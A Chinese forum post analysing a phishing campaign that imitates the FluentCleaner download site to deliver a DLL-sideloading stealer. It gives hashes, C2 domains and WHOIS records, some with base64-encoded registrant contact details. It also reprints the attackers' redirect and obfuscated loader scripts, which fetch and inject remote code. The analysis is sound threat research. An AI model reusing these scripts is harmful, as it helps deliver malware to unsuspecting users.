查看: 576|回复: 1
收起左侧

[已鉴定] 钓鱼白加黑窃密 Fluentcleaner org,Trojan/Hijack.zy,Remus 家族

[复制链接]
3306-1
发表于 2026-7-31 22:21:46 | 显示全部楼层 |阅读模式
本帖最后由 3306-1 于 2026-8-1 12:40 编辑

来源:https://www.52pojie.cn/thread-2120575-1-1.html
发现:火绒安全实验室
正版:https://github.com/builtbybel

发现者归纳
  1. Fluent-cleaner_3.1.0.exe

  2. Desktop\Simaple\mscoree.dll
  3. 木马病毒
  4. Trojan/Hijack.zy
  5. Remus 恶意软件家族

  6. 白文件MD5:cc60d61ab809d32bbc680adae965b264
  7. 黑文件MD5: 4071f7e99e78b96420aee398901f891f
  8. C2地址:zelpx.garden:9895,tzpx.coursescarogra.biz:4219

  9. 火绒安全提醒广大用户:该样本极具隐蔽性、欺骗性和危害性,黑产团伙利用正规开源软件的名义伪装恶意程序,采用典型的“白加黑”攻击手段规避安全检测、入侵用户设备。恶意程序入驻设备后,会主动通过网络连接恶意C2服务器,接受攻击者远程指令,肆意窃取用户浏览器账号数据、社交软件信息及系统隐私数据,还可阻断安全软件更新、篡改系统网络配置,实现长期驻留、持续窃密与远程控制,严重威胁用户个人隐私、办公数据及设备安全。切勿从非官方渠道下载系统优化、清理类工具,陌生域名的软件站点均存在极高投毒风险,一旦不慎中招,将面临数据泄露、设备被操控、信息被盗用等多重安全威胁。
复制代码

外壳脚本
域 名 fluentcleaner[.]org
注册商 Dynadot Inc
注册人
邮 箱
注册日 2026-06-11 01:35:03 UTC+8
过期日 2027-06-11 01:35:03 UTC+8
更新日 2026-06-16 01:35:58 UTC+8
IANA_ID 472
状 态 客户端禁止转移
DNS  jerry[.]ns.cloudflare[.]com
    mariah[.]ns.cloudflare[.]com
DNSSEC 未配置

一转再转
域 名 github[.]io
注册商 MarkMonitor Inc.
注册人 GitHub, Inc.
邮 箱
省/州 加利福尼亚州(CA)
地 区 美国(US)
注册日 2013-03-09 03:12:48 UTC+8
过期日 2027-03-09 03:12:48 UTC+8
更新日 2025-02-09 17:19:16 UTC+8
IANA_ID 292
状 态  客户端禁止删除
     客户端禁止转移
     客户端禁止更新
DNS   ns-692[.]awsdns-22[.]net
     ns-1622[.]awsdns-10[.]co[.]uk
     dns1[.]p05.nsone[.]net
     dns2[.]p05.nsone[.]net
     dns3[.]p05.nsone[.]net
DNSSEC 未配置

下载引导
域 名 trackedwildmoss[.]com
注册商 PDR Ltd. d/b/a PublicDomainRegistry.com
注册人 Q2FsZWIgR2FyY2lh
邮 箱 Yy5nYXJjaWE5MEBtYXJzaGllci5jb20=
住 址 54 Fremont Street, Apt 11
城 市 拉斯维加斯(Las Vegas)
省/州 内华达州(NV)
地 区 美国(US)
电 话 +1. NjM4MjEwNDExNw==
注册日 2026-06-03 20:44:22 UTC+8
过期日 2027-06-03 20:44:22 UTC+8
更新日 2026-06-03 20:44:23 UTC+8
IANA_ID 303
状 态 客户端禁止转移
DNS  jimmy[.]ns.cloudflare[.]com
    val[.]ns.cloudflare[.]com
DNSSEC 未配置

再次套娃
域 名 deertrustpilot[.]com
注册商 PDR Ltd. d/b/a PublicDomainRegistry.com
注册人 Q2FsZWIgR2FyY2lh
邮 箱 Yy5nYXJjaWE5MEBtYXJzaGllci5jb20=
住 址 NTQgRnJlbW9udCBTdHJlZXQsIEFwdCAxMQ==
城 市 拉斯维加斯(Las Vegas)
省/州 内华达州(NV)
地 区 美国(US)
电 话 +1. NjM4MjEwNDExNw==
注册日 2026-06-03 20:41:24 UTC+8
过期日 2027-06-03 20:41:24 UTC+8
更新日 2026-06-03 20:41:24 UTC+8
IANA_ID 303
状 态 客户端禁止转移
DNS  katelyn[.]ns.cloudflare[.]com
    thaddeus[.]ns.cloudflare[.]com
DNSSEC 未配置

钓鱼落地
域 名 nooraljorany.com
注册商 GoDaddy.com, LLC
注册人
邮 箱
注册日 2018-09-30 19:33:53 UTC+8
过期日 2026-09-30 19:33:53 UTC+8
更新日 2025-10-11 18:28:05 UTC+8
IANA_ID 146
状 态 客户端禁止删除
    客户端禁止续费
    客户端禁止转移
    客户端禁止更新
DNS  ns1.mysecurecloudhost.com
    ns2.mysecurecloudhost.com
    ns3.mysecurecloudhost.com
    ns4.mysecurecloudhost.com
DNSSEC 未配置

C2接口
域 名 zelpx[.]garden
注册商 Dynadot Inc
注册人
邮 箱
注册日 2026-07-09 16:39:34 UTC+8
过期日 2027-07-09 16:39:34 UTC+8
更新日 2026-07-14 16:39:37 UTC+8
IANA_ID 472
状 态 客户端禁止转移
    注册局禁止转移
DNS  ns1.dyna-ns.net
    ns2.dyna-ns.net
DNSSEC 未配置

C2接口
域 名 coursescarogra[.]biz
状 态 未注册(虽然公网未注册,但可以本地静态解析)

文件指纹
无法下载。黑产疑似已临时关闭后端下载通讯

文件指纹
launcher_7.9.0.zip
大小: 110222665 字节 : 105 MiB
CRC32: BA30EBCA
CRC64: 8309242CC89EE0C9
XXH64: 010E3A8B828C8D37
SHA256: 3a46d3be1940b96eb328451a55a684aaea2fa8960a9dbfe76be4b89b7efc3def

火绒扫描(我自己的本地扫描结果)
6.0.11.1 版本
07-31 19:10 病毒库

2026/08/01 11:02:45
病毒防护
病毒查杀
自定义扫描(手动执行),发现0个风险项目

病毒库时间:2026-07-31 19:10
开始时间:2026-08-01 11:02
执行类型:手动执行
扫描类型:自定义扫描
总计用时:00:00:05
扫描对象:488
扫描文件:14
发现风险:0
已处理风险:0

文件目录
  1. .
  2. ├── GitHub.txt #We are here - https://github.com/about
  3. ├── GitHubs.txt #We are here - https://github.com/about
  4. ├── launcher_7.9.0.exe #Visual Basic 8 Keyword Upgrade Tool v18.0.11709.182 vb7to8.exe Microsoft Corporation ‎2026‎年‎04‎月‎10‎日 签名序列号 05:03:33 33 00 00 04 85 5e 99 ec 0e 59 2f cd d7 00 00 00 00 04 85
  5. ├── model.dll
  6. ├── mscoree.dll
  7. ├── msvcp140.dll #Microsoft® C Runtime Library v14.50.35719.0 Microsoft Windows Software Compatibility Publisher ‎2025‎年‎11‎月‎21‎日 08:51:55 签名序列号 33 00 00 01 0d c4 e7 bb f4 af f8 f0 90 00 00 00 00 01 0d
  8. ├── ucrtbase.dll #Microsoft® C Runtime Library v10.0.26100.7019 Microsoft Windows ‎2025‎年‎10‎月‎24‎日 13:07:20 签名序列号 33 00 00 04 d6 d0 b9 9e fe cc f1 72 6a 00 00 00 00 04 d6
  9. ├── vcruntime140_1.dll #Microsoft® C Runtime Library v14.50.35719.0 ‎2025‎年‎11‎月‎21‎日 08:51:59 MWSCP 签名序列号 相同
  10. ├── vcruntime140.dll #Microsoft® C Runtime Library v14.50.35719.0 ‎2025‎年‎11‎月‎21‎日 08:51:55 MWSCP 签名序列号 相同
  11. └── x86/
  12.     ├── config.json #Adobe Graphics Manager v4.30.87.47594 v113.624934 AGM.dll Adobe Inc. ‎2020‎年‎11‎月‎06‎日 17:01:53 0e 8d 5b d8 e9 b2 32 4f bd 15 71 81 0d 19 1d e0
  13.     ├── core.dll #photoshopdva v12.1.0.0 dvaaccelerate.dll Adobe Inc. ‎2020‎年‎01‎月‎16‎日 07:56:43 0e 8d 5b d8 e9 b2 32 4f bd 15 71 81 0d 19 1d e0
  14.     ├── corel.dll
  15.     ├── logo.png #300 x168
  16.     └── obsidian-source.dll
复制代码

相关走向
脚本引用
  1. <script defer src="assets/app.js"></script>
  2. <script defer src="assets/data.js"></script>

  3. <!-- Visit tracking -->
  4. <script src="/stat/sdk.js" data-auto-leads></script>

  5. <script type="application/ld+json">
  6.         {
  7.                 "@context": "https://schema.org",
  8.                 "@type": "SoftwareApplication",
  9.                 "name": "FluentCleaner",
  10.                 "alternateName": "Fluent Cleaner",
  11.                 "description": "FluentCleaner is the free, open-source junk and cache cleaner for Windows 11. Removes browser cache and temp data without registry tricks. MIT licensed, no ads, no telemetry.",
  12.                 "applicationCategory": "UtilitiesApplication",
  13.                 "operatingSystem": "Windows 11, Windows 10",
  14.                 "softwareVersion": "latest",
  15.                 "datePublished": "2026-06-10",
  16.                 "url": "https://fluentcleaner[.]org",
  17.                 "downloadUrl": "https://fluentcleaner[.]org/download/FluentCleaner-Setup.exe",
  18.                 "installUrl": "https://fluentcleaner[.]org/download/FluentCleaner-Setup.exe",
  19.                 "license": "https://opensource.org/licenses/MIT",
  20.                 "offers": {
  21.                         "@type": "Offer",
  22.                         "price": "0",
  23.                         "priceCurrency": "USD",
  24.                         "name": "Free",
  25.                         "availability": "https://schema.org/InStock"
  26.                 },
  27.                 "author": {
  28.                         "@type": "Person",
  29.                         "name": "builtbybel",
  30.                         "url": "https://github.com/builtbybel"  // 真的正版仓库,但此处被钓鱼网站恶意假借仿冒
  31.                 },
  32.                 "aggregateRating": {
  33.                         "@type": "AggregateRating",
  34.                         "ratingValue": "4.8",
  35.                         "ratingCount": "1247",
  36.                         "bestRating": "5"
  37.                 }
  38.         }
  39. </script>

  40. <script type="application/ld+json">
  41.         {
  42.                 "@context": "https://schema.org",
  43.                 "@type": "FAQPage",
  44.                 "mainEntity": [{
  45.                         "@type": "Question",
  46.                         "name": "Is FluentCleaner safe?",
  47.                         "acceptedAnswer": {
  48.                                 "@type": "Answer",
  49.                                 "text": "Yes. FluentCleaner is open-source under the MIT licence — every line is auditable on GitHub. It only targets known junk locations (browser cache, Windows temp, app caches, GPU shader caches) and never touches the registry. No telemetry, no network calls."
  50.                         }
  51.                 },
  52.                 {
  53.                         "@type": "Question",
  54.                         "name": "Is FluentCleaner really free?",
  55.                         "acceptedAnswer": {
  56.                                 "@type": "Answer",
  57.                                 "text": "FluentCleaner is 100% free, forever. No premium tier, no subscription, no Pro upsell. The free download is published on the official GitHub releases page under MIT licence."
  58.                         }
  59.                 },
  60.                 {
  61.                         "@type": "Question",
  62.                         "name": "Where do I download FluentCleaner?",
  63.                         "acceptedAnswer": {
  64.                                 "@type": "Answer",
  65.                                 "text": "The official download is on the builtbybel/FluentCleaner GitHub releases page. Always grab it from there — third-party mirrors may bundle adware."
  66.                         }
  67.                 },
  68.                 {
  69.                         "@type": "Question",
  70.                         "name": "Does FluentCleaner work on Windows 10?",
  71.                         "acceptedAnswer": {
  72.                                 "@type": "Answer",
  73.                                 "text": "FluentCleaner is built for Windows 11 with WinUI 3. It runs on Windows 10 if the WinUI 3 runtime is present, but the Mica and Fluent Design polish is optimised for Windows 11."
  74.                         }
  75.                 }]
  76.         }
  77. </script>
复制代码
载入脚本
  1. /assets/app.js

  2. 往网页内添加交互效果,立即执行函数
复制代码
载入脚本
  1. /assets/data.js

  2.   // ── FluentCleaner download link ──────────────────────────────
  3.   // The ONLY place to change the download link for the whole site.
  4.   // 这是更改全站下载链接的唯一途径
  5.   // Every download button/link takes its href and click action from here.
  6.   // 所有下载按钮/链接的 href 和点击操作都来自这
  7.   var DOWNLOAD_URL =
  8.     "https://ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner";

  9.   // Trigger the download — sends the visitor to the download URL.
  10.   // 触发下载 — 将访客引导至下载网址
  11.   function triggerDownload() {
  12.     window.location.href = DOWNLOAD_URL;
  13.   }

  14.   // Expose for inline / programmatic use.
  15.   // 暴露全局接口以供内联/程序命令等调用
  16.   window.fluentCleanerDownload = triggerDownload;

  17.   // Wire every element flagged with data-download to trigger the download.
  18.   // 将所有标记为数据下载的元素连接到数据下载开关,以触发下载
  19.   function wireButtons() {
  20.     var buttons = document.querySelectorAll("[data-download]");
  21.     buttons.forEach(function (btn) {
  22.       // Force the real URL onto every download anchor so hover, right-click
  23.       // 将真实 URL 强制添加到每个下载锚点,因此请悬停并右键单击。
  24.       // "open in new tab" and crawlers all see the single DOWNLOAD_URL.
  25.       // “在新标签页中打开”,所有爬虫都会看到同一个 DOWNLOAD_URL。
  26.       if (btn.tagName === "A") {
  27.         btn.setAttribute("href", DOWNLOAD_URL);
  28.       }
  29.       btn.addEventListener("click", function (e) {
  30.         e.preventDefault();
  31.         triggerDownload();
  32.       });
  33.     });
  34.   }

  35.   // DOM 加载时机的处理,避免过早查询 DOM 导致找不到元素
  36.   if (document.readyState === "loading") {
  37.     document.addEventListener("DOMContentLoaded", wireButtons);
  38.   } else {
  39.     wireButtons();
  40.   }
复制代码
载入脚本
  1. /stat/sdk.js

  2.   // 动态确定后端接口地址,重新拼接获得最终接口地址
  3.   // https://fluentcleaner[.]org/stat/proxy.php
  4.   // https://fluentcleaner[.]org/stat/lead.php
  5.   const script = document.currentScript;
  6.   const PROXY_URL = script.src.replace(/\/sdk\.js([?#].*)?$/, '/proxy.php');
  7.   const LEAD_URL  = script.src.replace(/\/sdk\.js([?#].*)?$/, '/lead.php');

  8.   if (!PROXY_URL.includes('proxy.php')) return;

  9.   // 识别操作系统
  10.   function getOS() {
  11.     const ua = navigator.userAgent;
  12.     if (/Windows/i.test(ua))      return 'Windows';
  13.     if (/Mac OS X/i.test(ua))     return 'macOS';
  14.     if (/Android/i.test(ua))      return 'Android';
  15.     if (/iPhone|iPad/i.test(ua))  return 'iOS';
  16.     if (/Linux/i.test(ua))        return 'Linux';
  17.     return null;
  18.   }

  19.   // 收集访问数据,并在访问接口时提交
  20.   const collected = {
  21.     url:        window.location.href,  // 当前地址
  22.     referrer:   document.referrer || null,  // 来源
  23.     language:   navigator.language || null,  // 浏览器语言
  24.     user_agent: navigator.userAgent || null,  // 浏览器访问头
  25.     os:         getOS(),  // 浏览器访问头的系统
  26.     timestamp:  new Date().toISOString(),  // 当前时间戳
  27.   };

  28.   // Expose for non-form lead senders (e.g. download-button click trackers)
  29.   // 向非表单线索发送者(例如下载按钮点击跟踪器)暴露信息
  30.   window.__statData = collected;

  31.   // 上报基础页面访问统计
  32.   fetch(PROXY_URL, {
  33.     method:    'POST',
  34.     headers:   { 'Content-Type': 'application/json' },
  35.     body:      JSON.stringify(collected),
  36.     keepalive: true,
  37.   }).catch(function () {});

  38.   // Fill hidden form fields so PHP can include them in lead submissions
  39.   // 填写隐藏表单字段,以便 PHP 可以将其包含在潜在客户提交信息中
  40.   // 如果页面上存在以下 name 属性的 <input> 元素,会自动填入对应值:
  41.   function fillFields() {
  42.     var map = {
  43.       '_stat_user_agent': collected.user_agent,
  44.       '_stat_language':   collected.language,
  45.       '_stat_os':         collected.os,
  46.       '_stat_timestamp':  collected.timestamp,
  47.     };
  48.     Object.keys(map).forEach(function (name) {
  49.       var el = document.querySelector('input[name="' + name + '"]');
  50.       if (el && map[name]) el.value = map[name];
  51.     });
  52.   }

  53.   // DOM 加载时机的处理,避免过早查询 DOM 导致找不到元素
  54.   if (document.readyState === 'loading') {
  55.     document.addEventListener('DOMContentLoaded', fillFields);
  56.   } else {
  57.     fillFields();
  58.   }

  59.   // Auto-leads: fire a lead when the user clicks any download-like CTA.
  60.   // 自动线索捕获(data-auto-leads 模式):当用户点击任何类似下载的 CTA 时触发线索
  61.   // Enabled by adding `data-auto-leads` to the script tag. Used on satellite
  62.   // 如果脚本标签带有 data-auto-leads 属性,则启用点击自动追踪
  63.   // sites that have CTA buttons but no explicit downloadFile() handler.
  64.   // 这个功能适合放在没有显式调用埋点函数的卫星站点中,自动把下载按钮的点击当成一条线索发送给后端
  65.   if (script.hasAttribute('data-auto-leads')) {
  66.     var fired = new WeakSet();
  67.     var DOWNLOAD_CLASS = /\b(dl-btn|download-btn|btn--download|btn-download)\b/i;
  68.     var CTA_CLASS      = /(\bcta\b|btn-hero-primary|btn--fill|btn--cta|btn-download)/i;
  69.     var TEXT_RE        = /^(download|get(\s+(app|free|started|it|now))?)\b/i;
  70.     var HREF_DL        = /\.(zip|exe|dmg|pkg|apk|msi)(\?|$)/i;

  71.     document.addEventListener('click', function (e) {
  72.       var el = e.target && e.target.closest && e.target.closest('a, button');
  73.       if (!el || fired.has(el)) return;

  74.       var text = (el.textContent || '').trim();
  75.       var cls  = (el.className || '') + '';
  76.       var href = el.getAttribute('href') || '';

  77.       var match =
  78.         DOWNLOAD_CLASS.test(cls) ||
  79.         HREF_DL.test(href) ||
  80.         TEXT_RE.test(text) ||
  81.         CTA_CLASS.test(cls);
  82.       if (!match) return;

  83.       fired.add(el);

  84.       fetch(LEAD_URL, {
  85.         method:    'POST',
  86.         headers:   { 'Content-Type': 'application/json' },
  87.         body:      JSON.stringify({
  88.           url:         collected.url,
  89.           referrer:    collected.referrer,
  90.           language:    collected.language,
  91.           user_agent:  collected.user_agent,
  92.           os:          collected.os,
  93.           timestamp:   collected.timestamp,
  94.           button_text: text.slice(0, 100),
  95.           button_href: href.slice(0, 200),
  96.         }),
  97.         keepalive: true,
  98.       }).catch(function () {});
  99.     }, true);
  100.   }
复制代码
请求接口
  1. /stat/proxy.php

  2. POST
  3. {
  4.     "url": "https://fluentcleaner[.]org",
  5.     "referrer": null,
  6.     "language": "zh",
  7.     "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:6.0.11.1) Gecko/20100101 huorong/6.0.11.1",
  8.     "os": "Windows",
  9.     "timestamp": "2026-07-31T11:18:33.104Z"
  10. }

  11. 响应
  12. {
  13.     "ok": true,
  14.     "id": 105679
  15. }
复制代码
载入接口
  1. /stat/lead.php

  2. {
  3.     "url": "https://fluentcleaner[.]org",
  4.     "referrer": null,
  5.     "language": "zh",
  6.     "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:6.0.11.1) Gecko/20100101 huorong/6.0.11.1",
  7.     "os": "Windows",
  8.     "timestamp": "2026-07-31T11:18:33.104Z",
  9.     "button_text": "Download fluentcleaner free",
  10.     "button_href": "https://ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner"
  11. }
复制代码
首次指向
  1. 点击下载按钮后
  2. https://ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner

  3.   // 纯粹是一个重定向器,把所有进入第一个页面的流量无声地转移到第二个页面上,同时保留路径和参数,让受害者以为还在同一个站点内。
  4. (function () {
  5.     var gateway = 'https://pamellahaitz[.]github[.]io';
  6.     var chunks = window.location.pathname.split('/.github/');
  7.     if (!chunks[1]) return;
  8.     var suffix = chunks[1] + window.location.search + window.location.hash;
  9.     window.location.assign(gateway + '/.github/' + suffix);
  10. })();
复制代码
套娃指向
  1. https://pamellahaitz[.]github[.]io/.github/fluent-cleaner

  2.   // 拼接恶意地址
  3. var TARGET = (function () {
  4.     var _head = 'aHR0cHM6Ly90cmFja2Vkd2lsZG0=';  // https://trackedwildm
  5.     var _path = 'b3NzLmNvbS9jb3lpc2gudmVpbmVk';  // oss[.]com/coyish.veined
  6.     function _fromB64(s) {
  7.         return atob(s);
  8.     }
  9.     function _exploreHubQ17() {  // 失败时的“安全回落”函数
  10.         location.replace('https://github.com/explore');
  11.     }
  12.     return { uri: _fromB64(_head) + _fromB64(_path), fail: _exploreHubQ17 };
  13. })();

  14.   // 提取重定向地址
  15. function pickRedirect(text) {
  16.     var body = String(text).replace(/^\uFEFF/, '').trim();  // 去掉 BOM 头,去除空白
  17.     var hit = body.match(/https?:\/\/[^'"\s;]+/);  // 用正则抓取正文中出现的第一个 http:// 或 https:// 开头的链接
  18.     if (!hit) throw 0;
  19.     return hit[0];  // 如果没找到就抛出异常,触发后续的 catch 逻辑
  20. }

  21.   // 尝试拉取远程内容并跳转(或加载远程脚本)
  22.   // 先尝试用 fetch 请求 trackedwildmoss.com/coyish.veined
  23.   // 如果请求成功(状态码 2xx),读取返回的纯文本,从文本中提取第一个 URL,立即用 location.replace 跳转到那个 URL
  24.   // 如果 fetch 失败(网络错误、非 200 状态等,或者没提取到 URL),进入 catch,动态创建一个 <script> 标签,设置 src 为同一个恶意地址,设置 referrerPolicy = 'unsafe-url',把这个 <script> 插入页面,如果脚本加载失败(onerror),则触发 TARGET.fail(),跳转到 https://github.com/explore,伪装成正常操作
  25. function mountRemoteScript() {
  26.     var url = TARGET.uri;
  27.     if (!url) { TARGET.fail(); return; }
  28.     fetch(url, { method: 'GET', cache: 'no-store' })
  29.         .then(function (res) {
  30.             if (!res.ok) throw 0;
  31.             return res.text();
  32.         })
  33.         .then(function (text) {
  34.             location.replace(pickRedirect(text));
  35.         })
  36.         .catch(function () {
  37.             var tag = document.createElement('script');
  38.             tag.charset = 'utf-8';
  39.             tag.referrerPolicy = 'unsafe-url';
  40.             tag.src = url;
  41.             tag.onerror = function () { TARGET.fail(); };
  42.             (document.head || document.documentElement).appendChild(tag);
  43.         });
  44. }

  45.   // 页面打开后等待 1.756 秒 再执行上述逻辑
  46. setTimeout(mountRemoteScript, 1756);
复制代码
  1. 受害者点击链接
  2.     │
  3.     ▼
  4. ruthcottillionuchylf[.]github[.]io/.github/fluent-cleaner
  5.     │  (立即重定向)
  6.     ▼
  7. pamellahaitz[.]github[.]io/.github/fluent-cleaner
  8.     │  展示伪造 GitHub 下载页(“Download Zip”)
  9.     │  1.75 秒后
  10.     ├─→ 成功 fetch → 远程文本提取最终钓鱼/恶意地址 → 跳转
  11.     └─→ fetch 失败 → 动态加载 <script src="恶意域名/coyish.veined">
  12.          ├─ 脚本加载成功 → 执行远程恶意代码
  13.          └─ 脚本加载失败 → 跳转 github.com/explore(伪装)
复制代码
下载引导
  1. https://trackedwildmoss[.]com/coyish.veined

  2. Reflect.apply(Location.prototype.replace, location, ['https://deertrustpilot[.]com']);
复制代码
再次套娃
  1. https://deertrustpilot[.]com

  2. 302指向下方
复制代码
落地判断
  1. https://nooraljorany[.]om/redirect.html?path=package&ref=&os=Windows 10&geo=CN&language=zh

  2.       // RU page is fixed; EN page is passed as ?path=filename-without-extension
  3.       // 俄语页面是固定的;英语页面通过 `?path=filename-without-extension` 的方式传递。
  4.       const RU_URL = "github-zip.html";

  5.       // Countries that should go to the RU page
  6.       // 应前往俄语页面的国家/地区
  7.       const RU_COUNTRY_CODES = [
  8.         "RU",
  9.         "BY",
  10.         "KZ",
  11.         "KG",
  12.         "AM",
  13.         "AZ",
  14.         "UZ",
  15.         "TJ",
  16.         "TM",
  17.         "MD",
  18.         "UA",
  19.       ];[

  20.       // How long to wait for the geo lookup before falling back to EN
  21.       // 地理位置查找需要等待多久才会回退到英文
  22.       const GEO_LOOKUP_TIMEOUT_MS = 4000;

  23.       // 使用 window.location.replace(url) 进行跳转。这种方式不会在浏览器历史中留下当前页记录,用户无法通过“后退”按钮回到这个分流页
  24.       function redirectTo(url) {
  25.         window.location.replace(url);
  26.       }

  27.       // 从当前URL的查询字符串(例如 ?path=download&geo=RU)中提取指定参数值
  28.       function getParam(name) {
  29.         const url = new URLSearchParams(window.location.search);
  30.         return url.get(name);
  31.       }

  32.       // 用于从 document.referrer(来源页URL)中提取路径的最后一段文件名
  33.       // 安全限制:提取时会过滤掉空值、禁止 redirect.html 或 redirect 自身、只允许字母数字下划线和短横线,防止注入异常值
  34.       function getReferrerName() {
  35.         const referrer = document.referrer;

  36.         if (!referrer) {
  37.           return null;
  38.         }

  39.         return getPathName(referrer);
  40.       }

  41.       function getPathName(url) {
  42.         let pathname;

  43.         try {
  44.           pathname = new URL(url, window.location.href).pathname;
  45.         } catch {
  46.           return null;
  47.         }

  48.         const segments = pathname.split("/").filter(Boolean);
  49.         const name = segments.length ? segments[segments.length - 1] : null;

  50.         if (!name || name === "redirect.html" || name === "redirect") {
  51.           return null;
  52.         }

  53.         if (!/^[\w-]+$/.test(name)) {
  54.           return null;
  55.         }

  56.         return name;
  57.       }

  58.       // 获取浏览器语言设置,小写
  59.       function getBrowserLanguage() {
  60.         return (navigator.language || navigator.userLanguage || "")
  61.           .trim()
  62.           .toLowerCase();
  63.       }

  64.       // 定义但未调用,异步获取地理位置,通过 fetch("geo.php") 请求,带有超时控制
  65.       // 实际使用的国家代码直接取自查询参数 geo,地理位置判定是由上游(如服务器端或另一个前置页)完成并传入的
  66.       // 这个函数可能是历史遗留,或为将来启用客户端地理查询预留
  67.       async function getGeoCode() {
  68.         const controller = new AbortController();
  69.         const timeoutId = setTimeout(
  70.           () => controller.abort(),
  71.           GEO_LOOKUP_TIMEOUT_MS,
  72.         );

  73.         try {
  74.           const response = await fetch("geo.php", {
  75.             signal: controller.signal,
  76.           });
  77.           const data = await response.json();
  78.           return (data.country_code || "").trim().toUpperCase() || null;
  79.         } catch (error) {
  80.           console.error("Geo lookup failed:", error);
  81.           return null;
  82.         } finally {
  83.           clearTimeout(timeoutId);
  84.         }
  85.       }

  86.       // 将统计名作为 n 参数拼接到目标 URL 上
  87.       // 例如原目标为 package.html,最终可能变为 package.html?n=download
  88.       function appendStatisticName(url) {
  89.         const n = getStatisticName();

  90.         const target = new URL(url, window.location.href);
  91.         target.searchParams.set("n", n);
  92.         return target.toString();
  93.       }

  94.       // 决定附加在目标 URL 上的统计标识参数 n 的值,优先级顺序为
  95.       // 查询参数中直接提供的 n(需通过格式校验)
  96.       // 查询参数 ref 的值,对其提取路径名作为统计名(校验同上)
  97.       // 通过 document.referrer 提取的路径名
  98.       // 如果以上都没有,默认使用 "launcher"
  99.       function getStatisticName() {
  100.         const n = getParam("n");
  101.         if (n && /^[\w-]+$/.test(n)) {
  102.           return n;
  103.         }

  104.         const ref = getParam("ref");
  105.         if (ref) {
  106.           const refPathName = getPathName(ref);
  107.           if (refPathName) {
  108.             return refPathName;
  109.           }
  110.         }

  111.         return getReferrerName() || "launcher";
  112.       }

  113.       // 根据查询参数 path 生成英语页面地址
  114.       // 默认值为 "package",生成 package.html
  115.       // 安全限制:path 参数仅限字母、数字、下划线、短横线,防止路径遍历攻击
  116.       // 校验失败返回 null,后续会阻止跳转并打印错误
  117.       function getEnUrl() {
  118.         const path = getParam("path") || "package";

  119.         // Keep the target constrained to a simple page slug.
  120.         if (!/^[a-zA-Z0-9_-]+$/.test(path)) {
  121.           return null;
  122.         }

  123.         return `${path}.html`;
  124.       }

  125.       // 从 URL 中收集 path、geo、os、ref、language 参数
  126.       const input = {
  127.         path: getParam("path"),
  128.         geo: getParam("geo"),
  129.         os: getParam("os"),
  130.         ref: getParam("ref"),
  131.         language: getParam("language"),
  132.       };

  133.       // 并填充默认值(path 默认为 package,其他为 null)
  134.       const resolved = {
  135.         path: input.path || "package",
  136.         geo: input.geo || null,
  137.         os: input.os || null,
  138.         ref: input.ref || null,
  139.         language: input.language || null,
  140.       };

  141.       // 控制台立即打印当前结果
  142.       console.log({ input, resolved });

  143.       // 根据查询参数 path 生成英语页面地址,赋值给 enUrl 等
  144.       const enUrl = getEnUrl();
  145.       const lang = (resolved.language || "").trim().toLowerCase();
  146.       const geo = (resolved.geo || "").trim().toUpperCase();

  147.       // 定义属于俄语区内的地区代码
  148.       const ruLanguages = [
  149.         "ru-ru",
  150.         "kk-kz",
  151.         "uz-uz",
  152.         "ky-kg",
  153.         "hy-am",
  154.         "az-az",
  155.         "tg-tj",
  156.         "tk-tm",
  157.         "be-by",
  158.         "uk-ua",
  159.         "ro-ro",
  160.       ];

  161.       // 跳转决策逻辑
  162.       // 生成英语目标地址(enUrl):如果 path 参数无效(例如包含非法字符),enUrl 为 null,脚本仅输出错误日志,不会发生任何跳转
  163.       // 语言优先判断:如果查询参数 language 的值(已转为小写)出现在上述俄语语言列表中(如 ru-ru),则无论国家代码是什么,直接跳转到俄语页面 github-zip.html(并附上统计名)
  164.       // 地区判断:如果语言不匹配,则检查查询参数 geo(已转为大写)是否属于俄语国家列表,是 → 跳转俄语页面,否 → 跳转之前生成的英语页面(如 package.html)
  165.       // 统计参数附加:所有跳转目标都会经过 appendStatisticName 处理,最终URL中必定包含 ?n=统计名(或与其他原有参数合并)
  166.       if (!enUrl) {
  167.         console.error('Missing or invalid "path" query parameter 缺少或无效的“路径”查询参数');
  168.       } else if (ruLanguages.includes(lang)) {
  169.         redirectTo(appendStatisticName(RU_URL));
  170.       } else {
  171.         const targetUrl = RU_COUNTRY_CODES.includes(geo) ? RU_URL : enUrl;
  172.         redirectTo(appendStatisticName(targetUrl));
  173.       }
复制代码
前端落地
  1. https://nooraljorany[.]com/package.html?n=launcher

  2.       // 调用脚本
  3.     <script src="scripts.js?v=20260728-1"></script>

  4.       // 核心下载流程
  5.       function startDownloadProcess() {
  6.         const downloadBtn = document.getElementById("downloadBtn");
  7.         const loadingContainer = document.getElementById("loadingContainer");
  8.         const progressFill = document.getElementById("progressFill");

  9.         downloadBtn.style.display = "none";
  10.         loadingContainer.style.display = "block";
  11.         fadeIn(loadingContainer);

  12.         let timeLeft = 15;
  13.         let progress = 0;
  14.         const timerElement = document.getElementById("timer");

  15.         // Start file download
  16.         // 启动文件创建与下载(参数6可能是文件ID或恶意载荷标识)
  17.         startFileCreationAndDownload(6);

  18.         // Send statistics
  19.         // 发送统计信息
  20.         sendStatistics(getStatisticName(), 6);

  21.         const countdown = setInterval(() => {
  22.           timeLeft--;
  23.           progress = ((15 - timeLeft) / 15) * 100;

  24.           timerElement.textContent = `${timeLeft}s`;        // 更新倒计时显示
  25.           progressFill.style.width = `${progress}%`;        // 更新进度条

  26.           if (timeLeft <= 0) {
  27.             clearInterval(countdown);

  28.             loadingContainer.style.display = "none";       // 隐藏加载界面
  29.             document.getElementById("subtitle").style.display = "block";
  30.             fadeIn(document.getElementById("subtitle"));

  31.             timerElement.textContent = "15s";
  32.             progressFill.style.width = "0%";

  33.             downloadBtn.style.display = "block";       // 重新显示按钮
  34.             downloadBtn.innerHTML = "<span>Try download again</span>";
  35.             downloadBtn.disabled = false;
  36.             fadeIn(downloadBtn);

  37.         // 被注释掉的 Chrome 检测代码
  38.             // if (isChrome()) {
  39.             //   document.getElementById("currentUrl").value =
  40.             //     window.location.href;
  41.             //   document.getElementById("chromeModal").style.display = "block";
  42.             // }
  43.           }
  44.         }, 1000);
  45.       }
复制代码
载入脚本
  1. https://nooraljorany[.]com/scripts.js?v=20260728-1

  2. // Detect whether the browser is Chrome
  3. // 检测是否为 Chrome 浏览器
